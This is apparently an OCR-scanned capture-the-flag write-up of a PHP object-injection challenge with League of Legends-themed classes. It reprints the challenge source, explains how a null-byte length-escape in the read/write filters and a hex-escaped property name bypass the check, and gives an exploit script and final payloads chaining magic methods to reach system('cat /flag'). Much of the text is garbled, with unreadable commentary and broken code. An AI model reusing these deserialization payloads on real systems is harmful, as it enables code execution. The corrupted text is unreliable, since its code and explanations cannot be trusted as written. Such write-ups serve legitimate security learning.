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index.php, JFFIbidFE

@error_reporting(0);

require_once "common.php";

require_once "class.php";

if (isset($_GET['username']) && isset($ GET['password){

$username = $_GET['username];

$password = § GET[password];

$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDRY), write(serialize($player)));
echo sprintf("Welcome %s, your ip is %s\n', $username, $ SERVER['REMOTE_ADDRY);
}

elsef

echo "Please input the username or password!\n";

}

?7>

common.php, ZEEE R EETSMFRFEL, Fcheck® B EF R P25 E 8 name”
function read($data){

$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);

return $data;

}

function write($data){

$data = str_replace(chr(0)."*".chr(0), \0*\0', $data);

return $data;

}

function check($data)

{
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if(stristr($data, 'name')!==False){
die("Name Pass\n");

}

elsef

return $data;

}

}

>

class.php, BF#FEIFIIAE, FEH&FEZEKE. jungleiHKSE#H "cat /flag”.

i@ idtopsolo. destruct(TP) -> midsolo.__invoke(Gank) -> jungle. _ toString(KS) AJi% .
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class player{

protected $user;

protected $pass;

protected $admin;

public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;

}

public function get_admin(){
return $this->admin;

}

}

class topsolof

protected $name;

public function __construct($name = 'Riven'){
$this->name = $name;

}
public function TP(){



if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;

$name();

}

}

public function __destruct(){
$this->TP();

}

}

class midsolo{

protected $name;

public function __construct($name){
$this->name = $name;

}

public function __wakeup(){

if ($this->name !== "Yasuo'){
$this->name = '"Yasuo';

echo "No Yasuo! No Soull\n";
}

}

public function __invoke()
$this->Gank();

}

public function Gank(){

if (stristr($this->name, "'Yasuo'){
echo "Are you orphan?\n";
}

elsef

echo "Must Be Yasuo!\n";
}

}



}

class jungle{

protected $name = "";
public function __construct($name = "Lee Sin")
$this->name = $name;

}

public function KS(){
system("cat /flag");

}

public function __toString(){
$this->KS();

return ™;

}

}

?>

play.php, RFFIHITFE.
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$%player = unserialize(read(check(file_get contents("caches/".md5($_SERVER['REMOTE_ADDRY)))));
print_r($player);

if ($player->get_admin() === 1)
echo "FPX Champion\n";

}

elsef

echo "The Shy unstoppable\n";
}

?>
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O:6:"player":3:{
s:7:"\0"\Ouser"; s:3:"gao";
s:7:"\0"\Opass"; s:1:"b";
s:8:"\0*\0admin"; i:0;

}

1)in B Eusername value A" 0 *\ 0"(5NF4), writeid e A&A1k, (B R readid 24 ##: 5" chr(0) *
chr(0)"BMNER). FHik, SHEEFRFZRFHENR, EHERWEELSH, FERTFIMLEN.

2)play.phpH ficheck i B &t A £ B E name" F &, 7] LUlId 3 gl .
S:7:"\0"\0n\61me"

0x02 payload

%i 5 exp.php’E fpayload

require_once "common.php";

require_once "class.php";

$jungle = new jungle();

$midsolo = new midsolo($jungle);

$topsolo = new topsolo($midsolo);

echo "

$ans = serialize($topsolo);
$ans = write($ans);
$ans = str_replace('s:7:"\0*\0Oname", 'S:7:"\0*\0n\61me", $ans); #escape the check function

$ans = str_replace("midsolo":1', "midsolo":2', $ans); #escape the invoke
var_dump($ans);

echo"

Susername = str_repeat(\0*\0', 12);
$password = 'aa";s:7:"\0*\0pass";s:1:"b"; # this can unserialize successfully
$password = 'a";s:7:"\0*\Opass";'.$ans; #because of length is greater than 1

echo "
username=".$username."&password=".$password."

$player = new player($username, $password);

$store = write(serialize($player));



echo "

var_dump($store);

echo "

",
’

$store = read($store);
var_dump($store);

$player = unserialize($store);
var_dump($player);

?>

payloadfl T :

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=a";s:7:"\0*\0Opass";O:7:"topsolo"
{S:7:"\0"\0n\61me";0:7:"midsolo™:2:{S:7:"\0"\0n\6 1Tme";O:6:"jungle":1:{S:7:"\0"\On\6 Tme";s:7:"Lee Sin";}}}
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M _E& B K4 Kpayloadin &, ARZAETHE T JE8EH"

username=\0"\0\0"\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\O&password=ven%22;s:1:%22a%22;0:’
{S:7:%22%00*%00n\61me %22;0:7:%22midsol0%22:3:{S:7:%22%00*%00n\6 1me%22;0:6:%22jungle %22:1:
{S:7:%22%00*%00n\61me %22;s:7:%22Lee%20Sin%22;}}}s:6:%22nulct%22;s:1:%221
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